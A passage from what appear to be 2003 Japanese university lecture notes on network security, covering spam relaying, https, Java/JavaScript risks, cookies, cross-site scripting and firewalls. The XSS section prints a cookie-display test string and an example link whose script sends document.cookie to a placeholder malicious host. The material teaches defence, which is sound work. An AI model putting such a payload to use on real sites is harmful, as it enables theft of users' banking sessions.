1. 大量のメールの発信を行うため, パフォーマンスが低下する.
2. 大量の不正なメールを発信したとして, そのホストからのメールの受信を拒否するサイトがある.
特に後者の問題は深刻です. そのため, 多くのサイトでは, 外部からの電子メールの送信要求で, 宛先が外
部のものであるようなメールの受信を拒否する設定になっています.
ユーザの立場から見てみると, ユーザが利用を許されたメール発信のためのホスト以外のホストに対し
て, メールの発信を要求した場合, SPAM を行うユーザと見なされる可能性があります. したがって, 全て
のユーザは, 各自が利用を許されたメールサーバ以外を送信用のホストとして設定することを避けなけれ
ばなりません.
有名な SPAM の缶詰. 中身は「塩漬のソーセージ」.
アメリカ人に言わせれば「極めてまずい」らしい. テ
レビドラマ「モンティパイソン」で主人公がこの缶
詰を持ち, “SPAM SPAM SPAM!” と叫びながら走
る姿から, 大量の不正メール攻撃を SPAM と呼ぶよ
うになった. なお, この缶詰は秋葉原で国立情報学研
究所の職員が購入したものを譲り受けたもの.
あるサイトから SPAM が行われた場合には, そのホストからのメールはすべて拒否するという設定を行う
81 メール受信に課金が行われるシステム自身は,
インターネットの世界で容認されているシステムとは言いがたいものがありますが.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
126
サイトもあらわれる82 . そのため, SPAM の発信元となったサイトは, ネットワーク社会での信用がなくな
り, そのサイトからのメールが事実上利用できなくなるという重大な問題に発展する.
3.5.6.3.2
WEB に関するセキュリティ前にも述べた通り, WEB ページを閲覧する際にもセキュリ
ティに関わる問題が発生します. 前に述べた内容は, ブラウザが各種のファイルを自動ダウンロード・自動
実行するモードになっていると, WEB ページを閲覧する際に, コンピュータウイルスに相当するファイル
を拾って, ウイルスに感染する危険性があるということでした. ブラウザの設定を画像ファイル以外は自動
ダウンロード・自動実行しないモードにすれば, この問題は回避することが可能ですが, それ以外にも多く
の問題があり得ます. WEB に関わるセキュリティ問題の主要なキーワードとしては,
• CGI と https,
• Java, Java Script,
• Cookie とクロスサイト・スクリプティング,
があげられます. これらは相互に関係していますが, これらを順に解説してきましょう.
3.5.6.3.2.1 CGI のセキュリティ問題近年, WEB ブラウザを利用したサービスとして, 商品の購入や,
インターネットバンキングと言った, 金銭に関わるサービスが流行しています. 例えば, インターネットを
利用して商品の購入を行う場合には, 代金の支払いとしてクレジットカードを利用することが多く行われて
います. すなわち, 商品の申し込みの時点で, クレジットカード番号を CGI フォームに入力して代金を支
払う方法です.
この際に何が問題になるのでしょうか？WEB ブラウザを用いた通信では, 基本的にはその通信内容は,
入力した文字列そのものがネットワーク上をデータとして流れていきます. また, ネットワーク上のデータ
は, どのようなネットワークを通じて送信先までたどり着くかを, ユーザは知ることは困難です. したがっ
て, 途中の通信路上で悪意のあるユーザが全てのデータを監視（盗聴）していないとも限りません. もし,
そのようなことが行われた場合には, 通常の通信では, 入力されたクレジットカード番号などは全て漏洩し
てしまいます.
これを避ける最も有力な手段は, 「公開鍵暗号」を用いた暗号化通信を行うことであり, WEB を用いた
通信 (http) では, SSL と http を組み合わせた https という通信手段が実現されています. したがって,
クレジットカード番号に代表される個人情報を CGI データとして入力する際には, 相手との通信が https
（SSL を用いた暗号化通信）が用いられていることを確認する必要があります83 . URL が https で始まる
場合には, そこへの通信は SSL 暗号化が行われています.
3.5.6.3.2.2
Java と Java Script 近年, 世間の多くの WEB ページは, その見栄えを良くするためか,
Java や Java Script が多用されています. Java を用いたページでは, Java のプログラムがダウンロード
され, ブラウザが動作しているコンピュータ上の Java 実行環境を用いてプログラムが実行されます. ま
た, Java Script でも, WEB ページに記述されたスクリプトは, ブラウザが動作しているコンピュータ上の
Java 実行環境を用いて実行されます.
Java 実行環境は, 各コンピュータ上にインストールされるものですが, その中に各種のセキュリティホー
ル（セキュリティ上の脆弱性）が確認された例が少なからずあります. これらのセキュリティホールを用い
て, 特定のページを閲覧したときに, クライアント（ブラウザを実行しているコンピュータ）側のファイル
82 これは, メールの発信サイトが（ネットワーク）社会的には信用できないという判断に基づいているもので, SPAM の報告があっ
た場合, そのサイトを自動的に登録し, そのサイトからのメールを受信しない（受信はするが, すぐに破棄する）という設定を行うサ
イトも多い.
83 本当は, SSL の証明書が出所の正しいものであることを確認する必要もありますが...
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
127
を消去したり, クライアント上で特定のプログラムを実行させたりすることが可能です. また, セキュリティ
ホールとは異りますが, クライアント上にある各種の情報をサーバ（WEB ページが存在するコンピュー
タ）に送り込むことも可能とされています.
これらの危険性を回避するには,
• ブラウザの Java と Java Script を無効にする.
という方法が最も有効です. もちろん, これらを無効にすると, Java や Java Script を利用したページの
表示が不十分になります84 . また, 各自が WEB ページを作成する際にも, 必要がない限り Java や Java
Script を利用することなしにページを作成することが必要です. もちろん, 各自のコンピュータにインス
トールされている Java 実行環境に関して, 十分なセキュリティが確保されているかどうかを, 最新の情報
で確認する必要があります.
3.5.6.3.2.3 Cookie とクロスサイト・スクリプティング WEB における Cookie とは, WEB サーバ
がクライアント（ブラウザ）を識別（特定）するために用いられる文字列のことです. サーバから見たと
き, 同一の URL に何度もアクセスするクライアントが, 同一ユーザのものかどうかを判断するために用い
ることが出来ますが, より高度な利用法として, 各ページごとに Cookie を生成してブラウザに渡し, 連続
する CGI ページの一連性の確保を行うために用いられています.
現在では, Cookie はさらに進んだ利用法が行われ, 一度訪れた CGI ページに, 前回そのユーザがどのよ
うな入力を行ったかのデータから, ユーザにとって面倒なフォーム入力を, あらかじめサーバから表示する
手段として用いたり, そのページの表示設定をクライアント（ブラウザ）に保存させて, そのデータの送信
を要求することにより, 前回と同じページ設定で表示させる手段として用いることが出来ます.
このように, WEB サーバとクライアントであるブラウザの間でやり取りされる Cookie は, 各種の利用
法が考えられ, 極めて便利なデータ交換手段となっていますが, この Cookie をセキュリティに関連して利
用することが可能であり, Cookie の漏洩が発生することにより, セキュリティ上の脅威が出現しています.
以下では, Cookie とそのセキュリティに関する問題を解説し, セキュリティ上の脅威を避けるための手段
を説明します.
上に述べたように, Cookie は WEB を用いている限りは, ある種の個人情報となり得ることがわかりま
す. Cookie を使う WEB コミニュケーションの例を１つ考えてみましょう. ここでは, いわゆる「インター
ネット・ホームバンキング」の例を取り上げます. WEB を用いて銀行の自分の口座にお金を出し入れした
り, 残高を確認する機能を提供している銀行が増えてきていますが, これが「インターネット・ホームバン
キング」の一例です.
通常, このようなページにアクセスすると, はじめに氏名・口座番号・パスワードの入力を求められます.
ここで「パスワード」は, 氏名と口座番号に付随し, その口座に WEB からアクセスするためのユーザ認証
に用いられています. しかしながら, このページにアクセスするたびに氏名や口座番号を入力させられるの
を「面倒」と感じるユーザも少なくありません. さらには, 「パスワード」さえも入力するのが面倒なユー
ザも多いようです. そこで, 少しでも「便利」にするために, １度目のアクセスの際に, これら入力データ
をサーバ側に保存しておき, Cookie を用いて, 保存されたデータのデータベースを作成しておきます. この
時, 同じクライアント（ブラウザ）から２度目以降にアクセスした場合には, データベースを参照すれば,
これらのデータはユーザが入力することなしに, WEB ページに表示させ, 「氏名・口座番号はこれでよろ
しいですか？」と尋ねるボタンを用意することが出来ます.
さて, このようなページに関して, もし Cookie が第３者に漏洩したらどうなるでしょうか？悪意のある
第３者は, このようなページにアクセスし, 不正に入手した Cookie を用いることで, 氏名・口座番号を知る
84 要するに, Java や Java Script を使わなければいけないページを作る方が悪い. 絶対に必要な場面も考えられますが, 多くは
「見栄えを良くする」以外の目的では使われていません.
security.tex,v 1.10 2003-06-10 16:23:05+09 naito Exp
数理解析・計算機数学特論
128
ことが可能になります. 場合によっては, その口座にアクセスするためのパスワードも入手可能でしょう.
この例は極めて極端な例かもしれませんが, 今日では日常的に利用されている Cookie の利用法です.
ここで, 上に述べたような SSL 暗号化通信を用いれば, “Cookie は漏洩しないじゃないか！” と考える
ことも出来ます. しかし, これは正しくありません. 各種の検査ページの検索文字列として,
<scirpt>document.write(document.cookie)</script>
これは, Java Script を用いて, Cookie を表示する命令です. もし, 「安全な CGI を用いたサイト」であ
れば,
<scirpt>document.write(document.cookie)</script> の検索結果
という表示が行われますが, 脆弱なサイトでは,
UserID=C3E71C358092890809A90AVFBD の検索結果
などと, Cookie の文字列が表示されてしまいます. これは「クロスサイト・スクリプティング脆弱性」と
呼ばれ, ごく最近発見された, WEB ページに関わるセキュリティホールです.
上の例では, 単に自分のブラウザ上に Cookie が表示されるだけですので, 脆弱性とは無関係と考えられ
がちですが, 次のような例を見てみましょう. 悪意のあるサイトのリンク文字列として, 次のように書かれ
ていたと仮定します.
http://www.xxx.yyy/input.cgi?key=
<scirpt>window.open("http://www.zzz/save.cgi?+escape(document.cookie)")</script>
ここで http://www.xxx.yyy/input.cgi がホームバンキングを行うページ, http://www.zzz/ が悪意あ
るサイトであるとき, このリンクをクリックすると, ホームバンキングのページに飛び, そこで用いられて
いる Cookie が悪意あるサイトに送られます. それを save.cgi という名前をつけた, 不正に取得できた
Cookie を保存するスクリプトを用いることで, 容易に他人の Cookie を入手することが出来ます.
このような「クロスサイト・スクリプティング」は数多くの有名サイトでも確認され85 ていますので, 有
名企業だから安全であるとは言いきれなくなっています.
さて, このような脆弱性から自らを守る方法として残されている手段は,
1. このような危険なサービスは利用しない.
2. Java Script, Java を有効にしない.
という方法が考えられます. 少なくとも, Java Script などのスクリプティング機能が無効である限り, この
脆弱性には影響されないとされています. しかし, このようなインターネットサービスを利用する時点で,
スクリプティング機能が有効である必要が多く, 最も安全な方法は, スクリプティング機能を有効にしない
限り利用出来ないサービスは危険性があると考え, それを利用しないことが最大の防御手段です.
3.5.6.4
ファイアーウォール
ファイアーウォール (firewall) とは, LAN の入り口でパケット・フィルタリング (packet filtering) を
行う機能を持つルータ等を指す. ファイアーウォールでは, 通過するすべてのパケットの発信元と送信先と
それぞれのポート番号を調べ, 外部からの不要なパケット（例えば, メールサーバ以外への smtp パケット
85 ２００２年初頭に設立された日本国内の銀行でも, 設立直後にこの脆弱性が確認されました. それにも関わらず, 当該の銀行はこ
の脆弱性に対してコメントを発表しませんでした. この銀行は「二重振り込み」などの事件を起し, 設立時の「日本の銀行がやらな
かったことを実施します」というコメント通りのことをやってしまいました.
part1-a-2.tex,v 1.2 2003-06-02 16:18:14+09 naito Exp
数理解析・計算機数学特論
129
など）を切り落とし, 内部ホストのセキュリティを確保することができ, 今日では, LAN そのもののセキュ
リティを高めるために有効な手段と考えられている. 通常, ファイアーウォールにより, 外部から LAN へ
のアクセスをメールサーバ, WWW サーバ等ごく少数に限ることが多い.
part1-a-2.tex,v 1.2 2003-06-02 16:18:14+09 naito Exp
131
References
[1] 尾家祐二, 後藤滋樹, 小西和憲, and 西尾章治郎. インターネット入門. 岩波書店, 2001.
[2] 堀良彰, 池永全志, 門林雄基, and 後藤滋樹. ネットワークの相互接続. 岩波書店, 2001.
[3] マルチメディア通信研究会. インターネットＲＦＣ事典. アスキー出版局, 1998.
[4] 竹下隆史, 荒井透, and 苅田幸雄. マスタリングＴＣＰ／ＩＰ入門編. オーム社開発局, 1994.
[5] D. Wood. 電子メールプロトコル−基本・実装・運用−. オライリージャパン, 2000.
[6] A. Frisch. UNIX システム管理. オライリージャパン, 1998.
[7] S. Garfinkel and G. Spafford. UNIX & インターネットセキュリティ. オライリージャパン, 1998.
[8] C. E. Spurgeon. 詳説イーサーネット. オライリージャパン, 2000.
[9] D. B. Chapman and E. D. Zwichy. ファイアウォール構築. オライリージャパン, 1996.
[10] C. Stall. カッコウはコンピュータに卵を産む. 草思社, 1991.
[11] T. Shimomura and J. Markoff. Takedown: The pursuit and capture of American’s most wanted
computer outlaw. Secker & Warburg, 1995.
[12] 前川守. オペレーティングシステム. 岩波書店, 1988.
[13] G. S. Sidhu, R. F. Andrews, and A. B. Oppenheimer. Inside AppleTalk, second edition. アジソン・
ウエスレイ, 1992.
[14] 加賀山茂. インターネットと法. http://www.ky.xaxon.ne.jp/~kagayama/computer/, 2000.
[15] CERT/CC. CERT Security Adovisaries. http://www.cert.org/adovisaries/.
[16] 久保仁. 教育学部におけるコンピュータ教育とその実践. 常葉学園教育学部紀要.